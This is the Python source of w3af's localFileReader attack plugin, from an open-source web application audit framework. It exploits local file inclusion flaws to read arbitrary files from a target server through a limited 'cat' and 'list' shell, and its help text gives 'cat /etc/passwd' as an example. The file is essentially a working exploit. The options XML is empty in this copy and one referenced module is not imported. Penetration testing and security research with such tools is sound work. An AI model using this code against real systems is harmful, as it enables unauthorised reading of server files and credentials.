'''
localFileReader.py
Copyright 2006 Andres Riancho
This file is part of w3af, w3af.sourceforge.net .
w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.
w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
'''
import core.controllers.outputManager as om
from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin
import core.data.kb.knowledgeBase as kb
from core.controllers.w3afException import w3afException
import core.data.parsers.urlParser as urlParser
class localFileReader(baseAttackPlugin):
'''
This plugin exploits local file inclusion bugs.
@author: Andres Riancho ( andres.riancho@gmail.com )
'''
def __init__(self):
baseAttackPlugin.__init__(self)
self._catMsg = 'localFileReader shell is restricted to two commands cat and list. Example: "cat /etc/passwd" .'
self._catMsg += '\nThe list command prints (if possible) a list of the full path to all files in the webroot.'
# User configured variables
self._changeToPost = True
self._url = ''
self._method = 'GET'
self._data = ''
self._filePattern = ''
def fastExploit( self ):
'''
Exploits a web app with local file include vuln.
'''
if self._url == ''or self._filePattern == '' or self._data == '':
om.out.error('You have to configure the "url" parameter.')
else:
v = vuln.vuln()
v.setURL( self._url )
v.setMethod( self._method )
v.setDc( self._data )
v['filePattern'] = self._filePattern
kb.kb.append( 'localFileInclude', 'lfi', v )
def getType(self):
return 'shell'
def canExploit(self ):
'''
Searches the kb for vulnerabilities that the plugin can exploit.
@return: True if plugin knows how to exploit a found vuln.
'''
lfiVulns = kb.kb.getData( 'localFileInclude' , 'lfi' )
if len( lfiVulns ) == 0:
return False
else:
return True
def exploit(self ):
'''
Exploits a remoteFileInclude vuln that was found and stored in the kb.
@parameter kb: The knowledgebase where the plugin gets the info to exploit.
@return: True if the shell is working and the user can start calling rexec
'''
om.out.information( 'localFileReader exploit plugin is starting.' )
lfiVulns = kb.kb.getData( 'localFileInclude' , 'lfi' )
if len( lfiVulns ) == 0:
raise w3afException('No remote file include vulnerabilities have been found.')
for vuln in lfiVulns:
# Try to get a shell using all vuln
if self._generateShell(vuln):
# A shell was generated, I only need one point of exec.
return True
return False
def _generateShell( self, vuln ):
'''
@parameter kb: The vuln to exploit.
@return: True is a shell object based on the param vuln was created ok.
'''
# Check if we really can execute commands on the remote server
if self._verifyVuln( vuln ):
if vuln.getMethod() != 'POST' and self._changeToPost and self._verifyVuln( self.GET2POST( vuln ) ):
om.out.information('The vulnerability was found using method GET, but POST is being used during this exploit.')
self._vuln = self.GET2POST( vuln )
else:
om.out.information('The vulnerability was found using method GET, tried to change the method to POST for exploiting but failed.')
self._vuln = vuln
return True
else:
return False
def _verifyVuln( self, vuln ):
'''
This command verifies a vuln. This is really hard work!
@return : True if vuln can be exploited.
'''
functionReference = getattr( self._urlOpener , vuln.getMethod() )
try:
response = functionReference( vuln.getURL(), str(vuln.getDc()) )
except Exception, e:
om.out.error( str(e) )
return False
else:
if self._defineCut( response.getBody(), vuln['filePattern'], exact=False ):
om.out.information(self._catMsg)
return True
else:
return False
def rexec( self, command ):
'''
This method is called when a command is being sent to the remote server.
This is a NON-interactive shell. In this case, the only available command is "cat"
@parameter command: The command to send ( cat is the only supported command. ).
@return: The result of the command.
'''
# Check that the command is cat and it has a param
cmd = filename = ''
splittedCommand = command.split(' ')
if len( splittedCommand ) >= 1:
cmd = splittedCommand[0]
if len( splittedCommand ) == 2:
filename = splittedCommand[1]
if cmd.lower() == 'cat':
return self._cat( filename )
elif cmd.lower() == 'list':
return self._list()
return self._catMsg
def _cat( self, filename ):
# Lets send the command.
functionReference = getattr( self._urlOpener , self._vuln.getMethod() )
dc = self._vuln.getDc()
dc[ self._vuln.getVar() ] = filename
try:
response = functionReference( self._vuln.getURL() , str(dc) )
except Exception, e:
return 'Error "' + str(e) + '" while sending command to remote host. Try again.'
else:
return self._filterErrors( self._cut( response.getBody() ) )
def _list( self ):
'''
Using some path disclosure problems I can make a good guess
of the full paths of all files in the webroot, this is the result of
that guess
'''
pathDiscList = kb.kb.getData( 'pathDisclosure' , 'listFiles' )
res = ''
for path in pathDiscList:
res += path +'\n'
return res
def _filterErrors( self, result ):
'''
Filter out ugly php errors and print a simple "Permission denied" or "File not found"
'''
if result.count('Warning'):
if result.count( 'Permission denied' ):
result = 'Permission denied.'
elif result.count( 'No such file or directory in' ):
result = 'No such file or directory.'
elif result.count( 'Not a directory in' ):
result = 'Cannot cat a directory.'
elif result.count(']: failed to open stream:'):
result = 'Failed to open stream.'
return result
def getOptionsXML(self):
'''
This method returns a XML containing the Options that the plugin has.
Using this XML the framework will build a window, a menu, or some other input method to retrieve
the info from the user. The XML has to validate against the xml schema file located at :
w3af/core/ui/userInterface.dtd
@return: XML with the plugin options.
'''
return '\
\
\
\
\
\
\
\
'
def setOptions( self, optionsMap ):
'''
This method sets all the options that are configured using the user interface
generated by the framework using the result of getOptionsXML().
@parameter optionsMap: A dict with the options for the plugin.
@return: No value is returned.
'''
self._changeToPost = optionsMap['changeToPost']
self._url = optionsMap['url']
self._method = optionsMap['method']
self._data = urlParser.getQueryString( optionsMap['data'] )
self._filePattern = optionsMap['filePattern']
def getPluginDeps( self ):
'''
@return: A list with the names of the plugins that should be runned before the
current one.
'''
return []
def getRootProbability( self ):
'''
@return: This method returns the probability of getting a root shell using this attack plugin.
This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones.
This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS
return a root shell.
'''
return 0.0
def getLongDesc( self ):
'''
@return: A DETAILED description of the plugin functions and features.
'''
return '''
This plugin exploits local file inclusion and let's you "cat" every file you want. Remember, if the file
in being read with an "include()" statement, you wont be able to read the source code of the script
file, you will end up reading the result of the script interpretation.
One configurable parameters exist:
- changeToPost
'''